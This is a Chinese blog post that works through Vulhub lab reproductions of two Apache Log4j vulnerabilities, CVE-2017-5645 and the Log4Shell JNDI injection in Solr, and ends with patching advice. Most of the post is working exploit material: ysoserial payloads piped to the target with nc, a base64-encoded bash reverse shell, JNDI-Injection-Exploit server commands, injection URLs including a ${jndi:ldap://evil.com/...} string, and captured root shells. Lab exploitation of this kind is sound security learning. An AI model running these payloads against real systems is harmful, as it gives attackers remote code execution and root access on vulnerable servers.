Vulhub 漏洞学习之:Log4j

Vulhub 漏洞学习之:Log4j

1 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.1 环境安装

docker-compose up -d
  • 环境启动后,将在4712端口开启一个TCPServer。
  • 或下载了log4j的jar文件后,可以直接在命令行启动这个TCPServer:java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer,无需使用vulhub和编写代码。

1.2 漏洞利用过程

  1. 我们使用ysoserial生成payload,然后直接发送给Traget-ip:4712端口即可。

    java -jar ysoserial-all.jar CommonsCollections5  "base64_encode_cmd" | nc 192.168.50.4 4712 
    

1.3 GetShell

  1. kali发送Payload至目标靶机

    java -jar ysoserial-all.jar CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.50.4 4712 
    
  2. kali监听反弹shell:

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 48142
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@7e2d33e5cd8f:/# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@7e2d33e5cd8f:/# 
    

2 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考链接:

2.1 环境安装

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

docker-compose up -d
  • 服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

2.2 漏洞利用过程

2.2.1 工具准备

  1. 工具需要jdk1.8版本
  2. GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
  3. GitHub - threedr3am/marshalsec

2.2.2 JNDI

jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互

  • JNDI注入原理:是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
  • jndi注入的利用条件:
    • 客户端的lookup()方法的参数可控
    • 服务端在使用Reference时,classFactoryLocation参数可控

2.2.3 漏洞验证

  1. 在注入点中验证:http://192.168.50.4:8983/solr/admin/cores?action=${jndi:ldap://xxx.dnslog.cn/Exploit}
  2. 若成功则会回显

2.3 GetShell

  1. 使用NDI-Injection-Exploit-1.0-SNAPSHOT-all工具开启ldap和rmi监听服务

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
    
    eg:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.50.218
    [ADDRESS] >> 192.168.50.218
    [COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}
    ----------------------------JNDI Links----------------------------
    Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
    rmi://192.168.50.218:1099/hsectu
    ldap://192.168.50.218:1389/hsectu
    Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
    rmi://192.168.50.218:1099/enyw6k
    ldap://192.168.50.218:1389/enyw6k
    Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
    rmi://192.168.50.218:1099/wfhfs8
    
  2. 使用上面的url为payload对靶机进行注入:http://192.168.50.4:8983/solr/admin/cores?action=${jndi:rmi://192.168.50.218:1099/hsectu}

  3. kali监听反弹shell:

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 34236
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@a4545a4231e4:/opt/solr/server# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@a4545a4231e4:/opt/solr/server# 
    

3 漏洞修复

  1. 排查应用是否引入了Apache Log4j2 Jar包,若存在依赖引入,则可能存在漏洞影响。请尽快升级Apache
    Log4j2所有相关应用到最新的log4j2版本。

    GitHub - apache/logging-log4j2: Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.

  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

  3. 可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。

  4. 官方补丁:升级Apache Log4j所有相关应用到最新的 Log4j-2.15.0官方稳定版本。

    Log4j – Download Apache Log4j™ 2

posted @ 2023-04-22 21:00  f_carey  阅读(345)  评论(0编辑  收藏  举报